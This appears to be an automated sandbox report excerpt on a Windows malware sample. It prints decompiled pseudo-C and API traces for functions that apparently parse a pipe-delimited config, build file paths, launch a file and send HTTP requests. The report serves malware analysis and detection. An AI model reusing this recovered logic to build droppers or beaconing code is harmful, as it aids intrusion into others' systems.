Instruction Fuzzy Hash: 285153B1A41318ABDB20CF90DC49FEE7BB8BB48705F10C499F609A61C0D7749A84DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00575D50, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 00575E0A
lstrcat.KERNEL32(?,00000000), ref: 00575E23

Part of subcall function 0057C1A0: SHGetFolderPathA.SHELL32(00000000,00575E30,00000000,00000000,?,?,000003E8), ref: 0057C1CB

Part of subcall function 0057C100: StrStrA.SHLWAPI(0041A574,?,?,00575E47,?,0041A574,00000000), ref: 0057C10E

lstrcpy.KERNEL32(?,00000000), ref: 00575E52

Part of subcall function 0057C100: lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00575E47,?,0041A574), ref: 0057C132
Part of subcall function 0057C100: wsprintfA.USER32 ref: 0057C18B

lstrcpy.KERNEL32(?,00000000), ref: 00575E81
lstrcpy.KERNEL32(?,00000000), ref: 00575EB0
lstrcpy.KERNEL32(?,00000000), ref: 00575EDF

Strings

<, xrefs: 00575F24
`fv, xrefs: 00575EC1, 00575EC7
Hfv, xrefs: 00575E63, 00575E69

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <$Hfv$`fv
API String ID: 2415926151-1638752915
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: cc175b8683a429e39f021b6193f0fc6f5c42e9f398c4c6db7c280b7078926eea
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: E26160F190021CABDB25EB60DC89FDE7B78BB48304F408599F309A6142EB759B88DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x7666a8
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x766648
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x7666c0
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x766660
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x750400
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(007666A8,?,?,004061B1,?,007666A8,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,007666A8,007666A8,?,004061B1,?,007666A8), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

<, xrefs: 00405CD4
`fv, xrefs: 00405C71
Hfv, xrefs: 00405C13

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <$Hfv$`fv
API String ID: 2415926151-1638752915
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0057BF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jWA, xrefs: 0057C09C, 0057C09F
4jWA, xrefs: 0057BF6C, 0057C0C0, 0057BF6F, 0057C0C3

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID:
String ID: 4jWA$4jWA
API String ID: 0-216016290
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: cc9d67ed2d84ae46e9874b92fd83f9a83655083ad3e1204a816e60c275df3634
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: 3651DAB5A11208EFDB04DBE4DC88FEEBBB9BF4C700F148918F605E6290DA349951DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00581970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0058197E
GetFileSize.KERNEL32(00000000,00000000), ref: 00581A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00581A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00581A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00581A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00581A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00581AC3

Strings

PE, xrefs: 00581AFA
(, xrefs: 00581A4A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 476f264b54af80c9814919fc6ec98ec01ac65223d726a224f3c19ff3e1ef6f57
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 72812CB1D10608AFDB18DFD8D895BEEBBB9FF88301F148459E505AB284D7309A82CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

PE, xrefs: 004118AA
(, xrefs: 004117FA

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 005768A0, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0057BB21

lstrcat.KERNEL32(?,00000000), ref: 00576909
lstrcat.KERNEL32(?,0041A260), ref: 0057691D
lstrcat.KERNEL32(?,0041A368), ref: 00576930
lstrcat.KERNEL32(?,0041A7C4), ref: 00576944
lstrcat.KERNEL32(?,0041A76C), ref: 00576958

Part of subcall function 005753F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0057541D
Part of subcall function 005753F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00575443
Part of subcall function 005753F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0057547D
Part of subcall function 005753F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005754A3
Part of subcall function 005753F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00575503
Part of subcall function 005753F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00575577
Part of subcall function 005753F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00575593
Part of subcall function 005753F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 005755A9

lstrcat.KERNEL32(?,00000000), ref: 00576988

Part of subcall function 00576570: lstrcat.KERNEL32(?,?), ref: 005765E4

Part of subcall function 00574C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00574C5E

Part of subcall function 0057A950: GetProcessHeap.KERNEL32(00000000,000F423F,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0057A95A
Part of subcall function 0057A950: RtlAllocateHeap.NTDLL(00000000,?,005769FC), ref: 0057A961

Part of subcall function 00575930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057593B
Part of subcall function 00575930: RtlAllocateHeap.NTDLL(00000000), ref: 00575942
Part of subcall function 00575930: lstrcat.KERNEL32(?,pt), ref: 00575955
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A22C), ref: 00575966
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 00575975
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A6C4), ref: 00575986
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC4), ref: 00575995
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A544), ref: 005759A6
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 005759B5
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A79C), ref: 005759C6
Part of subcall function 00575930: GetCurrentProcessId.KERNEL32 ref: 005759CC
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 005759E0
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 005759EF
Part of subcall function 00575930: lstrcat.KERNEL32(?,hdv), ref: 005759FF
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 00575A0F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC4), ref: 00575A1E
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A044), ref: 00575A2F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 00575A3F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 00575A4E
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A0FC), ref: 00575A5F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 00575A6F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC4), ref: 00575A7E

lstrcat.KERNEL32(?,00000000), ref: 00576A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00576AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00576AB8

Strings

hgv, xrefs: 00576964, 0057696A, 00576A7A, 00576A80

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: hgv
API String ID: 2767677664-710896355
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: 43acc8e474027e770c3ef09eb4fc18e5a8af52e37062d47c6deb555cc1febdd2
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: CF6154B6901218EBD711EBA0EC49EDA77BCBB88700F00C5A5F30D93191DA74EA94DF65

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x750410
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x7654f8
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x766708
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x765b90
				_t93 =  *0x41a288; // 0x766768
				_t109 =  *0x41a7c4; // 0x7654f8
				_t52 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
